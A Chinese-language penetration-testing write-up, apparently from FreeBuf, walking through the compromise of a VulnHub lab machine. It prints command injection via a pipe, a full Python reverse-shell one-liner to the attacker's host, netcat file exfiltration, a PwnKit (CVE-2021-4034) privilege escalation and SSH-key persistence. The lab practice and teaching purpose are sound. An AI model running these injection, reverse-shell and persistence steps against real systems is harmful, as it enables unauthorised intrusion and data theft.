未来的黑客大佬!我们终于找到你了~
想要获取更多免费学习资料可搜索公众号:“掌控安全课堂” 后台回复”我想学黑客“即可
情况简介
好久没碰渗透相关的东西了,2021年下半年到现在都忙着夯实基础去考了hcip和rhce,虽说平时是做蓝方的这两个证书也用不太上,但主要上大学的时候就像考了,总是感觉拖延,尤其是考了pte之后更拖延了,于是就一鼓作气把这两个小家伙都考完了,工作上一直在忙着看态感和搞数据安全,数据安全和态势感知结合误报真的太多了,每天都在优化,还是改不了这罗里吧嗦不说正事的毛病,这次用的靶场比较简单是在vulnhub上下载的,大佬们可以忽略,只是练习下渗透的思路,下面先介绍下这次渗透用的工具和软件:
软件
-
Virtual Box 运行靶场环境
-
VMware 运行kalilinux
靶机
工具
基本上就用了kali上自带的工具,自己本机上也有工具,但是公司在个人电脑上装了终端安全软件,有密码没法退出,总而言之,就是很麻烦,使用一些工具会报毒。所以就都用kali里的了,因为是打靶场,也没必要啥的使用代理啊,连接手机热点啥的(生活在被蓝方溯源的恐惧中,虽然我也是个小蓝人:))
-
netdiscover 网络发现
-
arp-scan 网络发现
-
arp-ping 网路发现
-
nc(netcat) 反弹shell
-
dirsearch 网站目录扫描
-
hydra 爆破
-
sqllite3 sqllite数据库查看工具(平时也不用,主要是靶机里有个相关文件)
环境拓扑
文章后续将把kali称为杰哥,把靶机称呼为阿伟♂♀
go!
-
♂ 首先杰哥要想入侵阿伟第一步肯定是要找到阿伟,在内网渗透中的呢这一步就称为网络发现。那么杰哥要如何找到阿伟呢,现实中杰哥可以依靠敏锐的嗅觉,但在渗透过程中,这一步我们我介绍三个工具。
(1)arp-scan 利用arp协议进行二层发现,除了目标外还扫到了一堆,小米音箱啥的,但根据描述信息可以判断只有192.168.0.109是我们的目标。
命令:arp-scan -l 扫描当前网卡的网段
(2)netdiscover同样可以达到上述目的,让我们再试一次。
命令:netdiscover -i eth0 -r 192.168.0.0/24 #-i指定网卡 -r 指定范围
(3)上述两个工具都属于渗透测试中使用的工具,并且可以达到很好的效果再介绍一个工具,arping这个工具怎么说呢缺点非常明显,他不能自动化的扫描一个网段,并且没有目标的一个基础的banner信息。我们可以结合一下shell脚本进行一个自动化的探测,存活的ip会有响应包
命令:for i in $(seq 1 254);do arping 192.168.0.$i -c 1;done
2.找到阿伟后杰哥就要找到阿伟的弱点把阿伟骗到家里去,在我们攻击过程中,就要去探测下被攻击者可能存在弱点的地方,先用masscan从端口下手。
命令:masscan -p- 192.168.0.109 --rate 10000
可以看到这里开放了两个端口,接下来使用nmap强大的端口banner识别库,看看这两个端口运行这什么服务
可以看到这里22号端口运行的是ssh,8080运行的python的一个http服务,一般这里我们可以对ssh服务进行爆破,也就是杰哥可以一开始就对阿伟来硬的,但是杰哥没有,杰哥先会让阿伟熟悉家里的环境,所以我们先从8080端口下手,看看web服务有没有什么好康的。
web界面显示的内容里没有很多的内容,输入框的话,一般我们下意识的考虑sql注入或是xss,如果能执行命令的话可以考虑命令执行后面接管道符插入其它我们的恶意命令,我们先看看把
随意输入之后显示都是错误信息,可见这是个类似密码的页面,先使用dirsearch扫描下看看有没有其它可利用的页面,没有的话再回来干这个
命令:dirsearch -u http://192.168.0.109:8080
扫描完发现有一个响应为200的页面进去瞧瞧
emmm也是一个类似于密码的东西,这里先从上一个页面开始把,先试试sql注入
双引号直接报错,显示的sqllite报错内容,同时使用“ or 1=1永真条件,直接显示密码正确页面。yahoo~~
可以看到这里描述说尝试扫描一些文件,下面明显是linux下 ls -l内容,先输入一些文件看看
尝试了几个都大同小异,但是推测都是都是后台返回的结果,试试能不能拼接命令
输入:hello|whoami
啊这。。。直接命令执行,那就反弹个shell把,通过ls看到服务器上有nc、有python,那就直接弹个python的shell到攻击机的nc上
命令:hello|python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.110",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
kali执行命令:nc -lvnp 1234
3.可以看到这时候杰哥已经把阿伟带到了物理但最后怎么拿到阿伟的最终权限呢,我们就要想办法进行提权了
查看当前目录发现有几个文件,经过查看发现其它几个都是运行web服务相关的模板文件,想要看看database.sql里写了点啥,发现当前没有运行环境,那只能下载下来搞一搞,当前环境有nc那就用nc传到我们本地环境
靶机:nc 192.168.0.110 2222 < database.sql
kali:nc -lvnp 2222 > database.sql
拿到文件后我们再kali本地进行查看发现内容如下,貌似是一些密码
试了试这些密码是web服务的密码。
同样也用这些密码登录了下ssh发现进不去,密码也仅仅是给前端用的了,我们要改变别的思路了,条条大路通罗马,不要再一条路上卡死。。。(但有的人生来就在罗马)
4.终于杰哥要对阿伟进行最终一击了,过来,让我康康!!!
既然我们已经有了一个普通账号权限,并且经过查看服务器有wget我们就将今年刚爆出来的linux提权漏洞cve-2021-4034直接试试对靶机进行提权
将提权脚本进行下载,我这里的提权脚本有两个版本,一个是c语言编译的二进制文件,一个是python版,由于靶机上直接是python环境,就直接使用python版了
直接拿到root权限,虽然这么做有点赖皮,其实按照道理说,这个靶场提权应该还有一些复杂的过程,但是谁让他出的早呢,漏洞有时候真的就是核武器,不讲道理的
5.写入ssh私钥进行持久化,让阿伟逃不出我们手掌心
在kali上使用ssh-keygen生成ssh公钥和私钥
同样使用python在本地建立一个简单http服务,然后再靶机下载公钥,并写入/root/.ssh/authorized_keys文件内
最后再kali上使用ssh进行登录试一试
登录成功,杰哥成功控制了阿伟!!♂
总结
这次这个靶场比较简单,过程中有很多鸡贼的方法,我觉得肯定这个靶场还有很多其它的提权思路,但懒得找了,直接就用最新的linux提权脚本了,之后再到vulnhub下载一些靶场打打看,但最近数据安全真的有点忙。。算了,人生无常,大肠包小肠!我是return0,见到你很开心 :)
本文作者:追鳄小组_return0, 转载请注明来自FreeBuf.COM